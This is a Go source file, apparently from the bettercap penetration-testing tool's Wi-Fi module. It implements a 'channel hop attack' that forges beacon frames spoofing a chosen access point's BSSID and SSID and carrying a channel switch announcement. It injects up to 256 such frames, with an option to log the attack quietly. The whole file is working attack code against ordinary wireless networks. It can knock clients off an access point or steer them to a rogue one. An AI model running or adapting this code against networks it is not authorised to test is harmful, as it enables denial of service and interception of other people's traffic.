| 1 | package wifi |
| 2 | |
| 3 | import ( |
| 4 | "bytes" |
| 5 | "fmt" |
| 6 | "github.com/bettercap/bettercap/network" |
| 7 | "github.com/bettercap/bettercap/packets" |
| 8 | "github.com/google/gopacket/layers" |
| 9 | "net" |
| 10 | ) |
| 11 | |
| 12 | func (mod *WiFiModule) isCSASilent() bool { |
| 13 | if err, is := mod.BoolParam("wifi.channel_switch_announce.silent"); err != nil { |
| 14 | mod.Warning("%v", err) |
| 15 | } else { |
| 16 | mod.csaSilent = is |
| 17 | } |
| 18 | return mod.csaSilent |
| 19 | } |
| 20 | |
| 21 | func (mod *WiFiModule) sendBeaconWithCSAPacket(ap *network.AccessPoint, toChan int8) { |
| 22 | ssid := ap.ESSID() |
| 23 | if ssid == "<hidden>" { |
| 24 | ssid = "" |
| 25 | } |
| 26 | hw, _ := net.ParseMAC(ap.BSSID()) |
| 27 | |
| 28 | for seq := uint16(0); seq < 256 && mod.Running(); seq++ { |
| 29 | if err, pkt := packets.NewDot11Beacon(packets.Dot11ApConfig{ |
| 30 | SSID: ssid, |
| 31 | BSSID: hw, |
| 32 | Channel: ap.Channel, |
| 33 | Encryption: false, |
| 34 | SpectrumManagement: true, |
| 35 | }, 0, packets.Dot11Info(layers.Dot11InformationElementIDSwitchChannelAnnounce, []byte{0, byte(toChan), 1})); err != nil { |
| 36 | mod.Error("could not create beacon packet: %s", err) |
| 37 | continue |
| 38 | } else { |
| 39 | mod.injectPacket(pkt) |
| 40 | } |
| 41 | } |
| 42 | } |
| 43 | |
| 44 | func (mod *WiFiModule) startCSA(to net.HardwareAddr, toChan int8) error { |
| 45 | // if not already running, temporarily enable the pcap handle |
| 46 | // for packet injection |
| 47 | if !mod.Running() { |
| 48 | if err := mod.Configure(); err != nil { |
| 49 | return err |
| 50 | } |
| 51 | defer mod.handle.Close() |
| 52 | } |
| 53 | |
| 54 | var ap *network.AccessPoint = nil |
| 55 | |
| 56 | for _, _ap := range mod.Session.WiFi.List() { |
| 57 | if bytes.Equal(_ap.HW, to) { |
| 58 | ap = _ap |
| 59 | } |
| 60 | |
| 61 | } |
| 62 | |
| 63 | if ap == nil { |
| 64 | return fmt.Errorf("%s is an unknown BSSID", to.String()) |
| 65 | } |
| 66 | |
| 67 | mod.writes.Add(1) |
| 68 | go func() { |
| 69 | defer mod.writes.Done() |
| 70 | |
| 71 | if mod.Running() { |
| 72 | logger := mod.Info |
| 73 | if mod.isCSASilent() { |
| 74 | logger = mod.Debug |
| 75 | } |
| 76 | logger("channel hop attack in AP %s (channel:%d encryption:%s), hop to channel %d ", ap.ESSID(), ap.Channel, ap.Encryption, toChan) |
| 77 | // send the beacon frame with channel switch announce element id |
| 78 | mod.onChannel(ap.Channel, func() { |
| 79 | mod.sendBeaconWithCSAPacket(ap, toChan) |
| 80 | }) |
| 81 | } |
| 82 | |
| 83 | }() |
| 84 | |
| 85 | return nil |
| 86 | } |